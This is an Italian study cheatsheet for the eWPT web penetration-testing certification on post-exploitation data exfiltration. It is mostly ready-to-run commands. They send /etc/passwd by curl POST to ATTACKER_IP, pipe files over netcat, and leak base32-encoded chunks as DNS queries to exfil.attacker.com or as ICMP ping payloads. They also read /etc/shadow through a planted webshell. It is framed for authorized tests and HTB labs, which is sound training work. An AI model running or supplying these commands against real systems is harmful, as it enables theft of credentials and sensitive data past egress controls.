← Tutti i cheatsheet

eWPT · Exploitation & Post-Ex

Data Exfiltration

Difficoltà: Intermediate Time to Master: 1.5h Prerequisiti: 05-Privilege-Escalation.md Lab: HTB (qualsiasi macchina con accesso a dati sensibili)


Obiettivo

Hai la privesc, hai accesso ai dati che dimostrano l’impatto reale della vulnerabilità: ora devi portarteli via, e non è sempre banale come un scp. In ambienti con egress filtering stretto capita di dover uscire da un canale che sulla carta non è pensato per trasportare dati — DNS, ICMP, o semplicemente il canale RCE già aperto — ed è qui che la fase di post-exploitation si chiude davvero.


Concetti chiave

Canali di esfiltrazione disponibili in base al contesto

Canale Quando usarlo
HTTP/HTTPS (curl/wget verso il tuo server) connessioni uscenti HTTP permesse
DNS quando SOLO il DNS è permesso in uscita (molto restrittivo)
ICMP quando ping è permesso ma altro è bloccato
Base64 su canale già aperto (webshell/reverse shell) nessuna connessione aggiuntiva necessaria

Strumenti

Tool Comando base Output Note
python3 -m http.server server locale ricevente riceve upload per esfiltrazione via HTTP POST
netcat nc -lvnp 4444 > file_ricevuto riceve stream raw semplice, senza autenticazione
scp/rsync scp file user@ATTACKER_IP: trasferimento diretto se SSH disponibile in uscita

Payload / Esempi

Esempio 1: esfiltrazione via HTTP POST (curl)

# sul tuo host
python3 -m http.server 80
# oppure per ricevere POST body:
nc -lvnp 80

# dal target
curl -X POST --data-binary @/etc/passwd http://ATTACKER_IP/upload

Esempio 2: esfiltrazione via netcat diretto (file binari inclusi)

# sul tuo host (listener)
nc -lvnp 4444 > secret_file.zip

# dal target
nc ATTACKER_IP 4444 < secret_file.zip

Esempio 3: esfiltrazione via DNS (quando solo DNS è permesso in uscita)

# sul tuo host, cattura le query DNS in arrivo
tcpdump -i eth0 udp port 53

# dal target: converti il file in chunk encodati come subdomain
# base32 (non base64!): l'alfabeto di base64 include + / = che non sono
# caratteri validi in una label DNS (solo A-Z0-9 e trattino)
base32 -w0 secret_file.txt | tr '=' '0' | fold -w 60 | while read line; do
  dig "$line.exfil.attacker.com"
done

Spiegazione: ogni chunk base32 viaggia come subdomain di una query DNS verso un dominio che controlli (serve un nameserver autoritativo configurato, o basta osservare le query in arrivo se hai visibilità sulla rete); è lento ma spesso l’unico canale non filtrato in ambienti molto ristretti. Usa base32 e non base64: l’alfabeto di base64 contiene +, / e =, caratteri non validi in una label DNS.

Esempio 4: esfiltrazione via ICMP (quando solo ping e permesso in uscita)

# sul tuo host, cattura i pacchetti ICMP in arrivo
tcpdump -i eth0 icmp -X

# dal target: incorpora il file nel payload dei pacchetti ping
xxd -p -c 16 secret_file.txt | while read chunk; do
  ping -c 1 -p "$chunk" ATTACKER_IP
done

Spiegazione: ping -p (Linux) permette di specificare un payload esadecimale custom nel pacchetto ICMP echo request; sul lato attacker, tcpdump -X mostra l’hex dump del payload di ogni pacchetto ricevuto, che va poi riassemblato manualmente. Utile solo quando il traffico ICMP in uscita è permesso ma tutto il resto è bloccato; è molto lento per file di dimensioni non minime.

Esempio 5: esfiltrazione tramite webshell esistente (base64 inline)

curl "http://target.com/shell.php?cmd=base64+/etc/shadow" | base64 -d

Spiegazione: se non vuoi/puoi aprire un canale aggiuntivo, puoi leggere file di dimensioni contenute direttamente attraverso il canale RCE già stabilito, incollando l’output codificato.


Evasion / Bypass Techniques

Compressione e cifratura prima dell’esfiltrazione (buona pratica anche in test autorizzati)

tar czf - /path/sensibile | openssl enc -aes-256-cbc -pbkdf2 -out data.enc -k PASSWORD

Spiegazione: in un engagement reale, cifra sempre i dati sensibili estratti prima del trasferimento e prima di salvarli sul tuo host, per rispettare gli accordi di confidenzialità col cliente.


Lab Hands-On

Lab 1 (HTB): esfiltrazione di un file di flag/config protetto

Obiettivo: estrarre un file da un sistema con accesso limitato Difficulty: Medio Time: 30 min

Walkthrough breve:

  1. Identifica quali canali in uscita sono disponibili (HTTP? DNS? solo webshell?)
  2. Scegli il metodo di esfiltrazione appropriato
  3. Verifica integrità del file ricevuto (checksum)

Common Mistakes

  • Non verificare l’integrità del file dopo il trasferimento -> usa sempre md5sum/sha256sum su entrambi i lati per confermare che il file non sia corrotto
  • Esfiltrare dati sensibili senza cifratura in un engagement reale -> viola spesso gli accordi di confidenzialità, documenta sempre le pratiche corrette nel report


Connessioni


Checklist di padronanza

  • So esfiltrare via HTTP/netcat quando disponibile
  • So l’approccio base per esfiltrazione via DNS (base32, non base64) in ambienti ristretti
  • So l’approccio base per esfiltrazione via ICMP quando anche DNS è bloccato
  • Verifico sempre l’integrità del file trasferito
  • So cifrare i dati prima dell’esfiltrazione quando richiesto dall’engagement